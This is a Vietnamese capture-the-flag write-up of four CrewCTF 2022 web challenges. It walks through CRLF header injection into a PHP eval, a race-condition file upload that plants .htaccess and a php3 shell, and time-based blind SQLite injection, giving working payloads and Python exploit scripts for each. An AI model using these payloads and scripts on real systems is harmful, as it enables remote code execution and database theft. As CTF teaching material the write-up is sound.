Ở post mình sẽ viết writeup cho 4/7 bài web của giải crewctf2022 mà mình giải được.
1. CuaaS
Bài này chỉ đơn giản là đọc và hiểu được cách hoạt động của trang web thì sẽ giải ra.
Link challenge
Source code
Overview
overview
Phân tích
Đề cho chúng ta hai file index.php
, cleaner.php
và php.ini
- một file để cấu hình php web server
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
{
clean_and_send($_POST['url']);
}
function clean_and_send($url){
$uncleanedURL = $url; // should be not used anymore
$values = parse_url($url);
$host = explode('/',$values['host']);
$query = $host[0];
$data = array('host'=>$query);
$cleanerurl = "http://127.0.0.1/cleaner.php";
$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
'method' => 'POST',
'header' => "X-Original-URL: $uncleanedURL",
'content' => http_build_query($data)
]
]));
echo $stream;
}
?>
Chức năng: nhận biến url từ method POST sau đó đưa vào hàm clean_and_send
để xử lí. Hai dòng code đáng chú ý là $uncleanedURL = $url;
và 'header' => "X-Original-URL: $uncleanedURL"
, biến url gửi lên server được đưa trực tiếp vào header option của stream_context_create và context này dùng làm tham số thứ 3 cho file_get_contents
với filename
là http://127.0.0.1/cleaner.php
-> có thể hiểu là gửi POST request tới http://127.0.0.1/cleaner.php dựa trên context.
cleaner.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
die("<img src='https://imgur.com/x7BCUsr.png'>");
}
echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";
function tryandeval($value){
echo "<br>How many you visited us ";
eval($value);
}
foreach (getallheaders() as $name => $value) {
if ($name == "X-Visited-Before"){
tryandeval($value);
}}
?>
File sẽ check xem nếu tồn tại header X-Visited-Before
thì gọi hàm tryandeval()
-> eval()
được thực thi. Vì vậy mục tiêu của mình sẽ làm sao cho xuất hiện được header này và RCE tìm flag.
Quay lại đọc docs của stream_context_create
mình tìm ra được cách để truyền nhiều header
File php.ini mà bài cung cấp disable 1 vài functions:
1
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, passthru, show_source, system, phpinfo, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority
Nhưng vẫn “chừa” lại 1 vài hàm chẳng hạn như shell_exec
có thể dùng được.
Khai thác
1
2
$url = "http://example.com\r\nX-Visited-Before: echo shell_exec('cat /maybethisistheflag');";
echo urlencode($url);
Kết quả:
response
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
2. Uploadz
Bài này thuộc dạng “race condition with file upload”, các bạn chưa quen với race condition thì có thể đọc sơ qua bài viết này
Link challenge
https://uploadz-web.crewctf-2022.crewc.tf/
Source code
Overview
overview
Phân tích
Bài cho các file: index.php
, .htaccess
, my-apache2.conf
và một vài file khác để dựng local.
index.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function create_temp_file($temp,$name){
$file_temp = "storage/app/temp/".$name;
copy($temp,$file_temp);
return $file_temp;
}
function gen_uuid($length=6) {
$keys = array_merge(range('a', 'z'), range('A', 'Z'));
for($i=0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
function move_upload($source,$des){
$name = gen_uuid();
$des = "storage/app/uploads/".$name.$des;
copy($source,$des);
sleep(1);// for loadblance and anti brute
unlink($source);
return $des;
}
if (isset($_FILES['uploadedFile']))
{
// get details of the uploaded file
$fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
$fileName = basename($_FILES['uploadedFile']['name']);
$fileNameCmps = explode(".", $fileName);
$fileExtension = strtolower(end($fileNameCmps));
$dest_path = $uploadFileDir . $newFileName;
$file_temp = create_temp_file($fileTmpPath, $fileName);
echo "your file in ".move_upload($file_temp,$fileName);
}
if(isset($_GET["clear_cache"])){
system("rm -r storage/app/uploads/*");
}
?>
Khi một file được upload lên server thì sẽ được xử lí như sau:
- Copy file từ vị trí mặc định (được config trong php khi upload lên server) đến đường dẫn
storage/app/temp/
với tên là tên của file upload (tạm gọi file này là file copy). - Di chuyển file copy vừa được tạo đến
storage/app/uploads/
, tên file sẽ được thêm vào trước một random string. - Sau 1s, tiến hành xóa file copy.
Dockerfile:
1
2
3
4
RUN chmod 777 /var/www/html/storage/app/temp/
RUN chmod 777 /var/www/html/storage/app/uploads/
RUN chmod 555 /var/www/html/index.php
RUN chmod 555 /var/www/html/.htaccess
Từ file docker này mình thấy được index.php
, .htaccess
ở thư mục /var/www/html/
chỉ có quyền read và execute. Trong khi ở 2 thư mục temp
và uploads
thì có full permission.
my-apache2.conf:
1
2
3
4
5
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
Đoạn code cấu hình này có nghĩa là nếu có 1 request nào đó yêu cầu 1 file/thư mục thuộc /var/www/html
hoặc subfolder của /var/www/html
thì server sẽ tìm các file .htaccess
trong /var/www/html
hoặc subfolder tùy thuộc vào vị trí file được request sau đó dùng nó để overwrite các settings của Apache. Các bạn có thể xem 1 ví dụ tại đây.
.htaccess:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !/storage/app/temp/.*
RewriteCond %{REQUEST_FILENAME} !/storage/app/uploads/.*
RewriteRule !^index.php index.php [L,NC]
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteRule !^index.php index.php [L,NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
File setting này sẽ thực hiện việc check như sau:
- 4 dòng đầu: nếu requested file không tồn tại trong
/storage/app/temp/
hoặc/storage/app/uploads/
thì redirect đếnindex.php
- 3 dòng tiếp: nếu requested file kết thúc bằng
.php
thì redirect đếnindex.php
- 2 dòng cuối: nếu requested file không tồn tại thì redirect đến
index.php
Các hướng thử tiếp cận:
- Upload 1 file php sau đó access tới
storage/app/uploads/<filename>.php
để thực thi code -> như đã nói ở trên cách này sẽ không khả thi vì không thỏa điều kiện thứ hai đã đề cập. - Thử overwrite file .htaccess ở
/var/www/html/
bằng path traversal để tự config lại -> cách này cũng không khả thi vì sẽ có một random string thêm vào trước tên file và ta không có quyền write ở thư mục này.
Sau 1 hồi đọc lại source thì mình mới nhận ra dụng ý của tác giả. Tại sao ta không move trực tiếp file upload từ vị trí mặc định được cấu hình trong php (ở /tmp
) đến storage/app/uploads/
mà phải tạo thêm storage/app/temp/
?. Một điểm đáng chú ý nữa là server sẽ sleep(1)
sau khi copy($source,$des);
rồi mới unlink($source);
-> race condition
Cụ thể hơn cách khai thác của mình như sau:
- file
exp.php3
chứa đoạn code để RCE. - file
.htaccess
sẽ cấu hình để tất cả các file.php3
thực thi được php code. - Dùng 3 thread: thread 1 và 2 dùng để upload đồng thời hai file
exp.php3
và.htaccess
-> 2 file này sẽ được copy đếnstorage/app/temp/
, thread còn lại sẽ access tớistorage/app/temp/exp.php3
để lấy response.
Khai thác
.htaccess:
1
AddType application/x-httpd-php .php3
exp.php3
1
<?php phpinfo(); ?>
exploit.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pyimport os
from threading import Thread
import requests
NumberofThreads = 10
TARGET = "https://uploadz-web.crewctf-2022.crewc.tf/"
def upload_htaccess():
r = requests.post(TARGET, files = {"uploadedFile": open(".htaccess", "r")})
def upload_php3():
r = requests.post(TARGET, files = {"uploadedFile": open("exp.php3", "r")})
def get_request():
r = requests.get(TARGET + "storage/app/temp/exp.php3")
f = open("phpinfo.html", "w")
f.write(r.text)
#print(r.text)
for i in range(NumberofThreads):
t1 = Thread(target=upload_htaccess)
t2 = Thread(target=upload_php3)
t3 = Thread(target=get_request)
t1.start()
t2.start()
t3.start()
Đầu tiên cần thông tin về các disable_functions nên sẽ dùng phpinfo();
phpinfo
Sau đó chỉnh lại file exp.php3
1
<?php system("cat /flag.txt"); ?>
result
crewctf{upload_rce_via_race}
3. Marvel Pick
Bài này là một dạng sqlite injection
Link challenge
Overview
overview
Phân tích
Ctrl + U -> để view source trang web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script>
const marvel = [
'spiderman', 'ironman', 'captainamerica', 'nickfury'
]
function fetchMarvelVotesCount (marvel) {
fetch(`/api.php?character=${marvel}`)
.then(response => response.json())
.then(results => {
const vote_count_html = document.querySelector(`#vote-count-${marvel}`)
const total_vote = results.data.vote_count
if (total_vote > 1) {
vote_count_html.innerHTML = `${total_vote} Votes`
} else {
vote_count_html.innerHTML = `${total_vote} Vote`
}
})
}
function vote (marvel) {
const formData = new FormData()
formData.append('character', marvel)
fetch('/api.php', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(result => {
if (result.success) {
fetchMarvelVotesCount(marvel)
alert('successful voting')
} else {
alert(result.error)
}
})
.catch(error => {
alert('error');
});
}
marvel.forEach(item => {
fetchMarvelVotesCount(item)
})
</script>
Khi ấn Vote
sẽ có 2 request được gửi đi.
Sau một hồi fuzz thì mình thấy có lỗi sqli ở parameter character
sql error
Bên cạnh đó các kí tự *,-,/,=,
và or, select, where
đều bị replace thành ""
.
Tiếp tục thử các payload thì mình nhận ra nếu câu truy vấn thành công thì sẽ trả về name
bằng chính giá trị của character
.
success
sql error
và cũng bằng cách này ta xác định được server dùng sqlite.
sqlite detect
Bài này để giải mình chọn cách khai thác theo time based sqli với hàm RANDOMBLOB() và IIF()
Lúc giải mình không viết script để solve từ a-z mà làm từng đoạn nhưng mình vẫn sẽ để payload tích cóp được để tìm table name, column name, … ở bên dưới.
Payload cho sqlite injection
Table:
1
2
3
4
5
# find length
?character='||IIF((SELECT LENGTH(tbl_name) FROM sqlite_master LIMIT {index},1) LIKE {len},1,UPPER(HEX(RANDOMBLOB(99999))))||'
#find table name
'||IIF((SELECT HEX(SUBSTR(tbl_name,{pos},1)) FROM sqlite_master LIMIT {index},1) LIKE HEX('{c}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'
Column:
1
2
#find column name
'||IIF((SELECT HEX(SUBSTR(name,{pos},1)) FROM pragma_table_info('<table name goes here>') LIMIT {index},1) LIKE HEX('{char}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'
Sau một hồi bruteforce để tìm thông tin thì mình tổng kết lại được như sau:
Number of table: 2
- characters
- flags
Number of flags’s column: 2
- id
- value
Khai thác
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
from time import time
from string import printable
TARGET = "http://104.155.50.189:1337/api.php"
def encode_all(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
for i in range(1,34):
if(flag.endswith('}')):
break
for c in printable:
if c == '\'':
continue
query = f"'||IIF((SELECT HEX(SUBSTR(value,{i},1)) FROM flags) LIKE HEX('{c}'),1,UPPER(HEX(RANDOMBLOB(99999))))||'"
# print(query)
query_urlencoded = encode_all(query)
start = time()
r = requests.get(TARGET + "?character=" +query_urlencoded)
end = time()
# print(end - start)
if(end - start < 0.8):
flag += c
print(flag)
break
crew{so_its_n0t_on3_line_for_exp}
4. Marvel Pick Again
Bài này thì cũng tương tự bài trước chỉ khác là length của character
phải <= 75
No No NO
Nên việc mình làm là tối ưu lại length của payload
Khai thác
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from time import time
from string import printable
TARGET = "http://104.155.50.189:3390/api.php"
for i in range(1,41):
if(flag.endswith('}')):
break
for c in printable:
if c != '\'' and c != '*' and c != '-' and c != '/' and c!= ';' and c!= '=':
query = f"'||IIF((SELECT SUBSTR(value,{i},1) FROM flags)<>'{c}',1,RANDOMBLOB(999999))||'"
query_urlencoded = encode_all(query)
start = time()
r = requests.get(TARGET + "?character=" +query_urlencoded)
end = time()
#print(end - start)
if(end - start > 0.8):
flag += c
print(flag)
break
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}